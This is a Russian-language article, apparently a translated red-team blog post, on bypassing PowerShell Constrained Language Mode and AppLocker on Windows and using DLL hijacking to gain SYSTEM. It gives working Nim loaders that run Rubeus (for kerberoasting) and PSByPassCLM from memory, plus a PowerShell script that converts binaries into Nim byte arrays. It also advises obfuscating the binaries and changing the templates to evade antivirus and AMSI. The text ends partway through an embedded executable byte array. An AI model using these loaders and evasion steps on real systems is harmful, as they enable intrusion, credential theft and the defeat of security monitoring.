Статья Обход механизмов защиты Windows и игры с OffensiveNim

[yashechka]

В этом посте я расскажу короткую историю из среды, с которой я столкнулся некоторое время назад, и о том, как справиться с ситуацией, минуя режим ограниченного языка и Applocker, используя хорошо известные методы. Недавно у меня было время взглянуть на репозиторий OffensiveNim, созданный @byt3bl33d3r, который проделал действительно потрясающую работу. Посмотрев на примеры кода и возясь с некоторыми из них, я обнаружил, что это довольно круто и имеет хорошие преимущества. Поэтому вторая глава посвящена моим забавам с шаблонами Nim. Бинарные файлы C#, завернутые в Nim, также можно было использовать для обхода механизмов защиты Windows - для развлечения и профита. В этом посте не будет ничего нового, все использованное уже публично. Но, возможно, некоторые из вас столкнутся с подобной ситуацией в будущем - этот пост может помочь вам здесь.

Обход механизмов защиты Windows

Итак, с какой ситуацией я столкнулся? Это была среда Windows с включенным ограниченным языковым режимом (Constrained Language Mode) в каждой системе.

Ограниченный язык PowerShell - это языковой режим PowerShell, предназначенный для поддержки повседневных административных задач, но при этом ограничивающий доступ к чувствительным языковым элементам, которые можно использовать для вызова произвольных API-интерфейсов Windows.

Вы можете увидеть, активен ли этот языковой режим, выполнив следующую команду в окне консоли Powershell:

$ExecutionContext.SessionState.LanguageMode

Режим по умолчанию - FullLanguage, который позволяет любые команды.

Если в вашей среде включен CLM, вы, скорее всего, не сможете использовать собственный Windows Powershell.exe для любых целей наступательной безопасности. Никаких соединений Command&Control (C2) через stager Powershell, никаких скриптов, загружаемых через IEX(), и так далее. Для защитников - Включите ограниченный языковой режим, это усложнит жизнь вредоносным программам и злоумышленникам, а также всем ребятам из Offensive Security, таким как Pentesters и Red-Teams.

Однако существует множество широко известных методов обойти этот механизм защиты. Ограничение применяется к встроенному Powershell.exe, поэтому, если вы переносите свой собственный Powershell в скомпрометированную систему или любой другой двоичный файл с помощью Powershell Runspace, вы можете выполнять команды и сценарии как обычно. Некоторые из инструментов, которые я использовал для обхода CLM в прошлом, были следующие:

- PSByPassCLM - C# Powershell Runspace
- PowerShdll - C# Powershell Runspace
- InsecurePowerShell - Powershell fork without security features
- PowerLessShell - C# Runspace via MSBuild
- MSBuildShell - C# Runspace via MSBuild

Есть еще много подобных инструментов, все, что я нашел до сих пор, содержится в моем списке Pentest Tools. (https://github.com/S3cur3Th1sSh1t/Pentest-Tools#AMSI-Bypass-restriction-Bypass)

Используя прямую связь с .NET API через Powershell Runspace, должно быть легко обойти CLM и выполнить наш любимый C2-stager, верно? К сожалению, CLM был не единственным механизмом защиты, активным в этой среде. Они также включили Applocker на клиентах.

AppLocker расширяет возможности управления приложениями и функциональность политик ограниченного использования программ. AppLocker содержит новые возможности и расширения, которые позволяют создавать правила, разрешающие или запрещающие запуск приложений на основе уникальных идентификаторов файлов, и указывать, какие пользователи или группы могут запускать эти приложения.

По моему опыту, уровень защиты Applocker сильно различается в зависимости от конфигурации. Если компания включает Applocker, но оставляет конфигурацию в состоянии по умолчанию, есть много способов обойти его. На Github есть потрясающие списки того, как обойти конфигурацию по умолчанию:

- https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
- https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/VerifiedAppLockerBypasses.md

Таким образом, чтобы обойти конфигурацию по умолчанию, вы можете использовать те же инструменты, которые уже упоминались выше. Их можно использовать с MSBuild.exe или rundll32.exe, и эти собственные двоичные файлы Windows разрешены в конфигурации по умолчанию. В качестве альтернативы любой двоичный файл может быть помещен в каталог с возможностью записи с разрешениями на выполнение.

Однако в данной среде все эти местоположения по умолчанию и упомянутые бинарные файлы native windows были запрещены. Чтобы взглянуть на текущую конфигурацию Applocker, вы можете использовать следующую команду Powershell, которая по-прежнему разрешена даже при включенном ограниченном языковом режиме:

Get-AppLockerPolicy -Effective -Xml | Set-Content ('c:\users\currentuser\Desktop\ApplockerConfig.xml')

На мой взгляд, понимание XML-вывода несложно, поэтому я не буду вдаваться в подробности здесь. В данной среде мне посчастливилось найти один доступный для записи каталог, используемый Java-приложением, установленным на многих клиентских системах:

C:\oracle\java\bin\

Удаление двоичного файла в этот каталог позволяет нам выполнять код без ограничений. Мы можем просто поместить один из упомянутых выше инструментов (не инструменты на основе MSBuild.exe или Rundll32.exe) в папку и выполнить любую команду Powershell без ограничений, потому что мы также обходим Constrained Language Mode. Пока все просто, никаких новых методов или инструментов.

Интересный факт: расположение папки переменной PATH с возможностью записи позволяет локально повысить привилегии затронутых клиентов. В этом случае путь C:\oracle\java\bin был доступен для записи и включен в переменные среды PATH. Вы можете найти эту уязвимость с помощью простого скрипта. Если вы поместите DLL в этот каталог, который не находится нигде на диске, но который требуется, например, службой Windows и выполняется с правами NT-Authority\SYSTEM, вы можете получить системную оболочку. Кроме того, эта служба должна действовать в соответствии с порядком поиска DLL по умолчанию. Вот некоторые общеизвестные библиотеки DLL, использующие эту уязвимость:

- CDPSvc.dll - Connected Devices Platform Service (CDPSvc) - http://zeifan.my/security/eop/2019/11/05/windows-service-host-process-eop.html
- WptsExtensions.dll - Windows 10 Task Scheduler service - https://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html
- wlanhlp.dll - Windows Server 2008R2 - 2019 NetMan DLL Hijacking https://itm4n.github.io/windows-server-netman-dll-hijacking/

03.01.2021: Обновление
Спасибо itm4n за разъяснения. Ранее я писал, что следующие три имени DLL уязвимы. Это не так, поскольку порядок поиска DLL по умолчанию здесь не используется. Следующие три могут быть загружены только из каталога SYSTEM32.

- windowscoredeviceinfo.dll - загружается при создании сеанса обновления - itm4ns UsoDllLoader
- phoneinfo.dll - служба отчетов о проблемах Windows - sailay1996s WerTrigger
- Ualapi.dll - Служба факсов - ionescu007s faxhell

Если кто-то из вас знает о более уязвимых сервисах / возможностях перехвата DLL - не стесняйтесь писать мне в DM.

Игры с OffensiveNim

Зачем кому-то использовать Nim в наступательных целях безопасности? В репозитории OffensiveNim byt3bl33d3r уже перечисляет некоторые причины, я скопировал некоторые из них для этого поста:

- Компилируется непосредственно в C, C++, Objective-C и Javascript.
- Избегает того, чтобы вы действительно писали на C/C++, и, следовательно, избегает внесения множества проблем с безопасностью в ваше программное обеспечение.
- Очень простая кросс-компиляция в Windows из *nix/MacOS, требуется только установить набор инструментов mingw и передать один флаг компилятору nim.
- Компилятор Nim и созданные исполняемые файлы поддерживают все основные платформы, такие как Windows, Linux, BSD и macOS.

Тот факт, что Nim напрямую компилируется в C/C ++, дает двоичным файлам OffensiveNim все возможности и преимущества Offensive C-tooling. Например, вы можете использовать любой C-бинарный PE-Loader или PE-Packer, что упрощает их выполнение из памяти. Поэтому дается простая интеграция с существующими инструментами/методами наступательной безопасности.

Если у вас нет опыта программирования на C/C ++, но вы хотите использовать его преимущества, Nim - простая альтернатива. Я должен признать, что мои навыки работы с C/C ++ на самом деле очень низкие, потому что я почти никогда им не пользовался. Единственное, что я сделал, это взял существующий код и изменил его под свои нужды. Так что для меня это стоило взглянуть.

Все упомянутые инструменты для обхода ограничений написаны на C#. С точки зрения защитников, я бы предпочел, чтобы злоумышленник использовал инструменты C# вместо скомпилированных двоичных файлов C/C++. Почему? Если злоумышленник оставляет двоичные файлы C# на диске, защитники могут легко их декомпилировать с помощью таких инструментов, как ILSpy, или для анализа вредоносных программ. В реальных инцидентах я также видел, как злоумышленники использовали сценарии Powershell, загружающие двоичные файлы C# из памяти для сохранения при запуске через реестр. Модификация сценария Powershell для сброса двоичного файла на диск вместо загрузки делает его анализируемым с помощью декомпилятора без сброса памяти. Бинарные файлы C/C++ труднее анализировать, потому что их нужно дизассемблировать с помощью IDA Pro, Ghidra или аналогичных инструментов. На мой взгляд, анализ вредоносных программ с использованием данного кода ассемблера определенно более сложен или, по крайней мере, требует гораздо больше времени.

Так что я думаю, мы также можем сказать, что двоичные файлы C/C++ и, следовательно, двоичные файлы Nim немного более безопасны для Opsec. Есть еще одно преимущество - насколько я знаю на момент написания этого поста, AMSI не имеет возможности проверять скомпилированные двоичные файлы C/C++. Позже в этом посте мы увидим, что исправить AMSI в Nim перед загрузкой исполняемого файла C# довольно просто. Следовательно, этот обход AMSI никогда не может быть обнаружен самим AMSI. В прошлом Microsoft блокировала каждый публичный обход, создавая для него новую подпись AMSI.
Здесь это невозможно. Но он все равно может быть обнаружен традиционным AV-программным обеспечением с сигнатурой файлов, если вы сбросите его на диск.

Но как на самом деле использовать наши существующие инструменты в Nim? Несколько дней назад в репозиторий OffensiveNim был добавлен новый Nim-шаблон: execute_assembly_bin.nim. Этот код фактически загружает скомпилированный C # исполняемый файл, преобразованный в массив байтов, в память:

#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause

    I still can't believe this was added directly in the Winim library. Huge props to the author of Winim for this (khchen), really great stuff.

    Make sure you have Winim >=3.6.0 installed. If in doubt do a `nimble install winim`

    Also see https://github.com/khchen/winim/issues/63 for an amazing pro-tip from the author of Winim in order to determine the marshalling type of .NET objects.

    References:
      - https://github.com/khchen/winim/blob/master/examples/clr/usage_demo2.nim
]#

import winim/clr
import sugar
import strformat

# Just pops a message box... or does it? ;)
var buf: array[4608, byte] = [byte 0x4d,0x5a,0x90[...snip...]0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0]

echo "[*] Installed .NET versions"
for v in clrVersions():
    echo fmt"    \--- {v}"
echo "\n"

echo ""

var assembly = load(buf)
dump assembly

#[

# I initially thought we couldn't use EntryPoint.Invoke() and the below code was my work around. Turns out I was wrong!
# See https://github.com/byt3bl33d3r/OffensiveNim/issues/9

var dt = fromCLRVariant[string](assembly.EntryPoint.DeclaringType.ToString())
var mn = fromCLRVariant[string](assembly.EntryPoint.Name)
echo fmt"[*] EntryPoint.DeclaringType: '{dt}'"
echo fmt"[*] EntryPoint.MethodName: '{mn}'"
var t = assembly.GetType(dt)
var flags = BindingFlags_Static or BindingFlags_Public or BindingFlags_InvokeMethod
@t.invoke(mn, flags, toCLRVariant([""], VT_BSTR)) # Passing an empty array
@t.invoke(mn, flags, toCLRVariant(["From Nim & .NET!"], VT_BSTR)) # Actually passing some args

]#

var arr = toCLRVariant([""], VT_BSTR) # Passing no arguments
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

Когда я увидел этот новый шаблон в Twitter, я подумал: "Отлично, я хочу поиграть с ним". Загрузка Nim и импорт WinIm с помощью быстрой установки WinIM - простая установка. В данном шаблоне byt3bl33d3r выполняет .NET Messagebox два раза - один раз без аргументов и один раз с фактической передачей некоторых аргументов. Я удалил первую EntryPoint.Invoke() без аргументов, потому что нет необходимости выполнять дважды. В первый раз я хотел обернуть двоичный файл Rubeus в исполняемый файл Nim. Поэтому я скомпилировал Rubeus как обычно и написал небольшой скрипт Powershell, чтобы преобразовать его в массив байтов, пригодный для использования Nim:

function CSharpToNimByteArray
{

Param
    (
        [string]
        $inputfile,
        [switch]
        $folder
)

    if ($folder)
    {
        $Files = Get-Childitem -Path $inputfile -File
        $fullname = $Files.FullName
        foreach($file in $fullname)
        {
            Write-Host "Converting $file"
            $outfile = $File + "NimByteArray.txt"
   
            [byte[]] $hex = get-content -encoding byte -path $File
            $hexString = ($hex|ForEach-Object ToString X2) -join ',0x'
            $Results = $hexString.Insert(0,"var buf: array[" + $hex.Length + ", byte] = [byte 0x")
            $Results = $Results + "]"        
            $Results | out-file $outfile
       
        }
        Write-Host -ForegroundColor yellow "Results Written to the same folder"
    }
    else
    {
        Write-Host "Converting $inputfile"
        $outfile = $inputfile + "NimByteArray.txt"
       
        [byte[]] $hex = get-content -encoding byte -path $inputfile
        $hexString = ($hex|ForEach-Object ToString X2) -join ',0x'
        $Results = $hexString.Insert(0,"var buf: array[" + $hex.Length + ", byte] = [byte 0x")
        $Results = $Results + "]"        
        $Results | out-file $outfile
        Write-Host "Result Written to $outfile"
    }
}

Это упрощает преобразование любого двоичного файла C# или даже целой папки, содержащей двоичные файлы C#, в байтовые массивы Nim:

Результирующий байтовый массив Nim выглядит так:

var buf: array[198144, byte] = [byte 0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,[...snip...]0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00]

Использование этого байтового массива вместо message box и компиляция кода Nim через nim c execute_assembly_bin.nim приводит к тому, что C-скомпилированный исполняемый файл загружает Rubeus и возвращает меню справки:

Это не поможет нам для Rubeus, потому что мы действительно хотим передать аргументы исполняемому файлу, скомпилированному с помощью Nim, который должен быть перенаправлен в исполняемый файл C#. В данном файле шаблона аргументы передаются в следующей строке:

arr = toCLRVariant(["From Nim & .NET!"], VT_BSTR) # Actually passing some args

Я обнаружил, что при передаче одного аргумента, например, "kerberoast" вместо "From Nim & .NET!" Rubeus успешно загружается из памяти с помощью атаки kerberoasting. Моя первая попытка передачи параметров выглядела так:

import os
[...]
var cmd = ""
var i = 1
while i <= paramCount():
    cmd.add(paramStr(i))
    cmd.add(" ")
    inc(i)
echo cmd # Only for troubleshooting purpose
var arr = toCLRVariant([cmd], VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

Но все, что содержит пробел, не было успешно проанализировано - была возвращена только справка Rubeus, что имеет место для неверных параметров. Устранение неполадок в этой проблеме Я также понял, что toCLRVariant() позволяет принимать только массивы с несколькими параметрами. Изменение кода для передачи двух параметров двоичного файла C# выглядит следующим образом:

var arr = toCLRVariant(["kerberoast", "/format:hashcat"], VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

Чтобы передать любое возможное количество аргументов, я впоследствии использовал следующий код:

var cmd: seq[string]
var i = 1
while i <= paramCount():
cmd.add(paramStr(i))
inc(i)
echo cmd
var arr = toCLRVariant(cmd, VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

В результате получается готовый к работе бинарный файл Rubeus, скомпилированный в Nim C:

Еще одна вещь, которую следует упомянуть: чистый двоичный файл C# Rubeus, который я использовал, был обнаружен движками 26/72 на Virustotal:

В версии NimRubeus было 16/70 обнаружений:

Таким образом, перенос двоичных файлов на другие языки также МОЖЕТ быть использован для обхода программного обеспечения AV. Однако я рекомендую обфускировать любой двоичный файл C#, прежде чем превращать его в массив байтов - это должно привести к еще меньшему количеству обнаружений. И если вы все сделаете правильно, нет необходимости в обходе AMSI. Чем больше людей используют OffensiveNim, тем больше я верю, что даже небольшие фрагменты шаблона Nim могут быть отмечены когда-нибудь. Так что изменения в шаблоне также должны быть сделаны на этом этапе, чтобы остаться незамеченными.

Если мы вернемся к среде с Constrained Language Mod и Applocker, мы также могли бы использовать один из упомянутых инструментов для обхода обеих функций с помощью оболочки Nim. Следующий код, например, содержит PSByPassCLM, завернутый в Nim, что позволяет нам обойти обе функции, поместив этот скомпилированный двоичный файл в папку C:\oracle\bin\:

#[
    Author: Marcello Salvati, Twitter: @byt3bl33d3r
    License: BSD 3-Clause

    I still can't believe this was added directly in the Winim library. Huge props to the author of Winim for this (khchen), really great stuff.

    Make sure you have Winim >=3.6.0 installed. If in doubt do a `nimble install winim`

    Also see https://github.com/khchen/winim/issues/63 for an amazing pro-tip from the author of Winim in order to determine the marshalling type of .NET objects.

    References:
      - https://github.com/khchen/winim/blob/master/examples/clr/usage_demo2.nim
]#

import winim/clr
import sugar
import strformat
import os

# PSBypassCLM Binary
var buf: array[10240, byte] = [byte 0x4D,0x5A,0x90,0x00,0x03,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0xFF,0xFF,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x0E,0x1F,0xBA,0x0E,0x00,0xB4,0x09,0xCD,0x21,0xB8,0x01,0x4C,0xCD,0x21,0x54,0x68,0x69,0x73,0x20,0x70,0x72,0x6F,0x67,0x72,0x61,0x6D,0x20,0x63,0x61,0x6E,0x6E,0x6F,0x74,0x20,0x62,0x65,0x20,0x72,0x75,0x6E,0x20,0x69,0x6E,0x20,0x44,0x4F,0x53,0x20,0x6D,0x6F,0x64,0x65,0x2E,0x0D,0x0D,0x0A,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x45,0x00,0x00,0x4C,0x01,0x03,0x00,0xD0,0x95,0xEC,0x5F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0x00,0x22,0x00,0x0B,0x01,0x30,0x00,0x00,0x1E,0x00,0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x8E,0x3C,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x20,0x00,0x00,0x00,0x02,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x60,0x85,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3C,0x3C,0x00,0x00,0x4F,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0xA4,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x0C,0x00,0x00,0x00,0x04,0x3B,0x00,0x00,0x1C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x20,0x00,0x00,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2E,0x74,0x65,0x78,0x74,0x00,0x00,0x00,0x94,0x1C,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x1E,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x60,0x2E,0x72,0x73,0x72,0x63,0x00,0x00,0x00,0xA4,0x05,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x06,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x40,0x2E,0x72,0x65,0x6C,0x6F,0x63,0x00,0x00,0x0C,0x00,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x26,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x02,0x00,0x05,0x00,0x98,0x22,0x00,0x00,0x6C,0x18,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1B,0x30,0x03,0x00,0x70,0x01,0x00,0x00,0x01,0x00,0x00,0x11,0x72,0x01,0x00,0x00,0x70,0x0A,0x72,0x01,0x00,0x00,0x70,0x0B,0x72,0x01,0x00,0x00,0x70,0x0C,0x16,0x0D,0x02,0x2C,0x22,0x02,0x8E,0x2C,0x1E,0x02,0x16,0x9A,0x28,0x10,0x00,0x00,0x0A,0x2D,0x14,0x02,0x17,0x9A,0x28,0x10,0x00,0x00,0x0A,0x2D,0x0A,0x17,0x0D,0x02,0x16,0x9A,0x0B,0x02,0x17,0x9A,0x0C,0x28,0x11,0x00,0x00,0x0A,0x13,0x04,0x11,0x04,0x6F,0x12,0x00,0x00,0x0A,0x11,0x04,0x73,0x13,0x00,0x00,0x0A,0x72,0x03,0x00,0x00,0x70,0x6F,0x14,0x00,0x00,0x0A,0x26,0x72,0x86,0x00,0x00,0x70,0x13,0x05,0x09,0x2D,0x0C,0x72,0xCB,0x0B,0x00,0x70,0x28,0x15,0x00,0x00,0x0A,0x2B,0x1A,0x11,0x05,0x72,0x1D,0x0C,0x00,0x70,0x07,0x6F,0x16,0x00,0x00,0x0A,0x72,0x2D,0x0C,0x00,0x70,0x08,0x6F,0x16,0x00,0x00,0x0A,0x13,0x05,0x09,0x2D,0x12,0x72,0x3B,0x0C,0x00,0x70,0x28,0x17,0x00,0x00,0x0A,0x28,0x18,0x00,0x00,0x0A,0x0A,0x2B,0x03,0x11,0x05,0x0A,0x06,0x28,0x10,0x00,0x00,0x0A,0x3A,0xB3,0x00,0x00,0x00,0x11,0x04,0x6F,0x19,0x00,0x00,0x0A,0x13,0x06,0x11,0x06,0x6F,0x1A,0x00,0x00,0x0A,0x06,0x6F,0x1B,0x00,0x00,0x0A,0x11,0x06,0x6F,0x1A,0x00,0x00,0x0A,0x72,0x47,0x0C,0x00,0x70,0x6F,0x1C,0x00,0x00,0x0A,0x09,0x2C,0x0A,0x72,0x5D,0x0C,0x00,0x70,0x28,0x17,0x00,0x00,0x0A,0x11,0x06,0x6F,0x1D,0x00,0x00,0x0A,0x73,0x1E,0x00,0x00,0x0A,0x13,0x07,0x6F,0x1F,0x00,0x00,0x0A,0x13,0x08,0x2B,0x18,0x11,0x08,0x6F,0x20,0x00,0x00,0x0A,0x13,0x09,0x11,0x07,0x11,0x09,0x6F,0x21,0x00,0x00,0x0A,0x6F,0x22,0x00,0x00,0x0A,0x26,0x11,0x08,0x6F,0x23,0x00,0x00,0x0A,0x2D,0xDF,0xDE,0x0C,0x11,0x08,0x2C,0x07,0x11,0x08,0x6F,0x24,0x00,0x00,0x0A,0xDC,0x11,0x07,0x6F,0x21,0x00,0x00,0x0A,0x28,0x17,0x00,0x00,0x0A,0xDE,0x2B,0x13,0x0A,0x09,0x2C,0x07,0x72,0x01,0x00,0x00,0x70,0x13,0x05,0x72,0x93,0x0C,0x00,0x70,0x11,0x0A,0x6F,0x25,0x00,0x00,0x0A,0x28,0x26,0x00,0x00,0x0A,0xDE,0x0C,0x11,0x06,0x2C,0x07,0x11,0x06,0x6F,0x24,0x00,0x00,0x0A,0xDC,0x06,0x72,0x9B,0x0C,0x00,0x70,0x28,0x27,0x00,0x00,0x0A,0x3A,0x1A,0xFF,0xFF,0xFF,0x2A,0x01,0x28,0x00,0x00,0x02,0x00,0xF5,0x00,0x25,0x1A,0x01,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0xB5,0x00,0x7F,0x34,0x01,0x1F,0x16,0x00,0x00,0x01,0x02,0x00,0xB5,0x00,0x9E,0x53,0x01,0x0C,0x00,0x00,0x00,0x00,0x1E,0x02,0x28,0x28,0x00,0x00,0x0A,0x2A,0x13,0x30,0x04,0x00,0x84,0x00,0x00,0x00,0x02,0x00,0x00,0x11,0x72,0x01,0x00,0x00,0x70,0x0A,0x72,0x01,0x00,0x00,0x70,0x0B,0x02,0x28,0x29,0x00,0x00,0x0A,0x6F,0x2A,0x00,0x00,0x0A,0x72,0xA5,0x0C,0x00,0x70,0x6F,0x2B,0x00,0x00,0x0A,0x28,0x10,0x00,0x00,0x0A,0x2D,0x48,0x02,0x28,0x29,0x00,0x00,0x0A,0x6F,0x2A,0x00,0x00,0x0A,0x72,0xB7,0x0C,0x00,0x70,0x6F,0x2B,0x00,0x00,0x0A,0x0A,0x06,0x2D,0x0B,0x72,0xC3,0x0C,0x00,0x70,0x73,0x2C,0x00,0x00,0x0A,0x7A,0x02,0x28,0x29,0x00,0x00,0x0A,0x6F,0x2A,0x00,0x00,0x0A,0x72,0x1F,0x0D,0x00,0x70,0x6F,0x2B,0x00,0x00,0x0A,0x0B,0x07,0x2D,0x0B,0x72,0x2B,0x0D,0x00,0x70,0x73,0x2C,0x00,0x00,0x0A,0x7A,0x18,0x8D,0x1A,0x00,0x00,0x01,0x25,0x16,0x06,0xA2,0x25,0x17,0x07,0xA2,0x28,0x01,0x00,0x00,0x06,0x2A,0x06,0x2A,0x1E,0x02,0x28,0x2D,0x00,0x00,0x0A,0x2A,0x00,0x00,0x42,0x53,0x4A,0x42,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x0C,0x00,0x00,0x00,0x76,0x34,0x2E,0x30,0x2E,0x33,0x30,0x33,0x31,0x39,0x00,0x00,0x00,0x00,0x05,0x00,0x6C,0x00,0x00,0x00,0x80,0x03,0x00,0x00,0x23,0x7E,0x00,0x00,0xEC,0x03,0x00,0x00,0x24,0x05,0x00,0x00,0x23,0x53,0x74,0x72,0x69,0x6E,0x67,0x73,0x00,0x00,0x00,0x00,0x10,0x09,0x00,0x00,0x88,0x0D,0x00,0x00,0x23,0x55,0x53,0x00,0x98,0x16,0x00,0x00,0x10,0x00,0x00,0x00,0x23,0x47,0x55,0x49,0x44,0x00,0x00,0x00,0xA8,0x16,0x00,0x00,0xC4,0x01,0x00,0x00,0x23,0x42,0x6C,0x6F,0x62,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x01,0x47,0x15,0x02,0x08,0x09,0x00,0x00,0x00,0x00,0xFA,0x01,0x33,0x00,0x16,0x00,0x00,0x01,0x00,0x00,0x00,0x24,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x2D,0x00,0x00,0x00,0x0F,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x7F,0x02,0x01,0x00,0x00,0x00,0x00,0x00,0x06,0x00,0xF4,0x01,0x2C,0x04,0x06,0x00,0x61,0x02,0x2C,0x04,0x06,0x00,0x12,0x01,0xC6,0x03,0x0F,0x00,0x4C,0x04,0x00,0x00,0x06,0x00,0x3A,0x01,0x59,0x03,0x06,0x00,0xC1,0x01,0x59,0x03,0x06,0x00,0xA2,0x01,0x59,0x03,0x06,0x00,0x48,0x02,0x59,0x03,0x06,0x00,0x14,0x02,0x59,0x03,0x06,0x00,0x2D,0x02,0x59,0x03,0x06,0x00,0x51,0x01,0x59,0x03,0x06,0x00,0x26,0x01,0x0D,0x04,0x06,0x00,0x04,0x01,0x0D,0x04,0x06,0x00,0x85,0x01,0x59,0x03,0x06,0x00,0x6C,0x01,0x8F,0x02,0x06,0x00,0x8D,0x04,0x2B,0x03,0x0A,0x00,0x86,0x00,0xE6,0x03,0x0A,0x00,0xE2,0x00,0xE6,0x03,0x06,0x00,0x8E,0x03,0xB3,0x04,0x06,0x00,0x0E,0x00,0x3A,0x00,0x0A,0x00,0x8B,0x04,0x3C,0x03,0x06,0x00,0x84,0x03,0x2B,0x03,0x0E,0x00,0xDE,0x01,0xD1,0x02,0x12,0x00,0x9C,0x03,0xF3,0x02,0x06,0x00,0xDA,0x04,0x60,0x04,0x06,0x00,0xAB,0x02,0x2B,0x03,0x0A,0x00,0xF7,0x04,0xE6,0x03,0x0A,0x00,0x9B,0x00,0x3C,0x03,0x06,0x00,0x01,0x00,0xB2,0x02,0x06,0x00,0xB6,0x00,0x2B,0x03,0x0A,0x00,0x6B,0x03,0xE6,0x03,0x06,0x00,0xA6,0x03,0x60,0x04,0x06,0x00,0xAA,0x00,0x2B,0x03,0x12,0x00,0xCB,0x04,0xF3,0x02,0x0E,0x00,0xE6,0x04,0x59,0x00,0x12,0x00,0x7D,0x03,0xF3,0x02,0x00,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x10,0x00,0x1A,0x03,0x82,0x04,0x41,0x00,0x01,0x00,0x01,0x00,0x01,0x00,0x10,0x00,0xE7,0x02,0x82,0x04,0x61,0x00,0x01,0x00,0x03,0x00,0x50,0x20,0x00,0x00,0x00,0x00,0x96,0x00,0x37,0x03,0xD5,0x00,0x01,0x00,0xF4,0x21,0x00,0x00,0x00,0x00,0x86,0x18,0xC0,0x03,0x06,0x00,0x02,0x00,0xFC,0x21,0x00,0x00,0x00,0x00,0xC6,0x00,0x10,0x03,0xDB,0x00,0x02,0x00,0x8C,0x22,0x00,0x00,0x00,0x00,0xC6,0x00,0x08,0x03,0xDB,0x00,0x03,0x00,0x8E,0x22,0x00,0x00,0x00,0x00,0x86,0x18,0xC0,0x03,0x06,0x00,0x04,0x00,0x00,0x00,0x01,0x00,0x5B,0x04,0x00,0x00,0x01,0x00,0xF3,0x00,0x00,0x00,0x01,0x00,0xF3,0x00,0x09,0x00,0xC0,0x03,0x01,0x00,0x11,0x00,0xC0,0x03,0x06,0x00,0x19,